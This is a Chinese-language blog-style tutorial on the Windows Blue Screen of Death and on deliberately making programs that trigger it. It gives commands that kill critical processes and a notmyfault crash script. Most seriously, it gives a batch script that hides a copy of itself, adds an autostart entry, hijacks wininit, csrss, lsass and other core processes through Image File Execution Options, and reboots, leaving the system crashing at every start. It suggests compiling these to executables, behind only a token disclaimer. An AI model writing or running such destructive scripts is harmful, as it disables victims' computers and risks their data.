电脑蓝屏,又叫蓝屏死机(Blue Screen of Death,简称 BSOD),是微软的 Windows 系列操作系统在无法从一个系统错误中恢复过来时,为保护电脑数据文件不被破坏而强制显示的屏幕图像。
Windows 操作系统的蓝屏死机提示已经成为标志性的画面。大部分是系统崩溃的现象。

Windows 中有两个蓝底白字图像都被称为蓝屏死机:一种是 Windows 9x 操作系统发生小故障,一种是 Windows NT 发生内核错误。由于 Windows 9x 已退出历史舞台,所以现在一般指后者。

蓝屏的方法

如果你想要制作一个可以导致蓝屏的程序,不妨试试以下几种办法。这些办法有的不会对系统造成伤害,有的则可能导致系统无法开机。建议您在备份好数据的情况下再继续作死。

文章中所提的内容仅供学术交流和参考,请勿用于非法用途或欺骗他人。不当使用导致的不良后果与原作者无关。
另外,本文中的命令行都是通过 Bat_To_Exe_Converter 转化为 .exe 可执行程序的,所以自启动等项目可能会失效。

结束系统关键进程(CRITICAL PROCESS DIED

对系统无害,在 Windows XP 以上才有用(XP 会关机)。
可以直接结束关键的 Windows NT 进程,例如 wininit.exesmss.execsrss.exe 等;也可以直接结束全部进程。
以下命令,任选其一都可以导致蓝屏。

taskkill /im wininit.exe /f
taskkill /im svchost.exe /f
taskkill /fi "pid ne 1" /f
cmd /c for /f %I in ('wmic process get Name')do (wmic process where Name="%I" delete)

对于 Windows 10 及以上,也可以使用 PowerShell 直接访问 wininit.exe,造成电脑蓝屏!
具体地,打开 PowerShell 后直接输入 wininit 即可。

使用 notmyfault(驱动文件 notmyfault.sys

Windows XP 以上才有用,Windows XP x64 有可能可以。
需要用到第三方软件,来源于 Microsoft Sysinternals Suite 中的 notmyfault 系列。

我们只用到 notmyfaultcnotmyfaultc64,这是命令行版本的;其他那两个是 GUI 版。
具体的命令:

@echo off
if %PROCESSOR_ARCHITECTURE%==AMD64 (
notmyfaultc64.exe /accepteula
notmyfaultc64.exe /crash 0x03
) else (
notmyfaultc.exe /accepteula
notmyfaultc.exe /crash 0x03
)

首先要确定系统的位数,再调用蓝屏。
44 行和第 77 行可以改变,是根据想要的蓝屏类型确定的;也可以挂起进程。
使用说明如下:

NotMyFault is a tool used in the Windows Internals books to show how common device driver bugs affect a system.
This is the console version of NotMyFault.

Usage:
    notmyfaultc.exe [/wait] /crash crash_type_num

    crash type:
      0x01: High IRQL fault (Kernel-mode)
      0x02: Buffer overflow
      0x03: Code overwrite
      0x04: Stack trash
      0x05: High IRQL fault (User-mode)
      0x06: Stack overflow
      0x07: Hardcoded breakpoint
      0x08: Double Free
    wait:
      wait until named event NOTMYFAULT is set


Or  notmyfaultc.exe /hang hang_type_num

    hang type:
      0x01: Hang with IRP
      0x02: Hang with DPC
      0x03: Deadlock


Or  notmyfaultc.exe /leak leak_type_num [/rate KB/s] [/duration seconds]

    leak type:
      0x01: Paged Leak
      0x02: Nonpaged Leak
    rate:
      default value is 1000 KB/s
      append 'm' for megabytes, 'g' for gigabytes or 't' for terabytes    duration:
      default value is 30s

Or  notmyfaultc.exe bugcheck id


Or  notmyfaultc.exe /getdumptype
    notmyfaultc.exe setdumptype [full|kernel]

删除或劫持内核关键程序(0xc000021a

前面两种方法,重启后即可恢复(除非设置了自启动),那么下面就介绍两种较难修复的。

删除关键程序,需要到 PE 中去提取或恢复。因为是系统文件,所以一般的用户无法修改,提权过程也相对复杂,推荐使用 NSudo 工具,命令行版可以轻松删除系统文件。

关于劫持,可以在注册表中进行调整,通过命令行的方式写入注册表(附赠一只自启动):

@echo off
copy %0 v.exe
attrib +s +h /s /d v.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Run" /f /v "vvvvv" /t REG_SZ /d "%cd%\v.exe"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininit.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe" /f /v debugger /t REG_SZ /d "\\"
shutdown /r /t 0

不同于一般的自启动,由于内核关键进程在进入桌面之前就已经启动,所以在锁屏页面前就会蓝屏;安全模式同样。在 Windows XP 中表现为黑屏,只有鼠标可以移动。
修复方法,就是进入 PE 系统删除映像劫持项目和自启动项目,删除释放的文件等。

假蓝屏

网上各种各样的批处理假蓝屏烂大街了,有一个真实一点的工具叫 BluescreenSimulator,可以通过命令行调用。
因为有点儿跑题,这里不再赘述。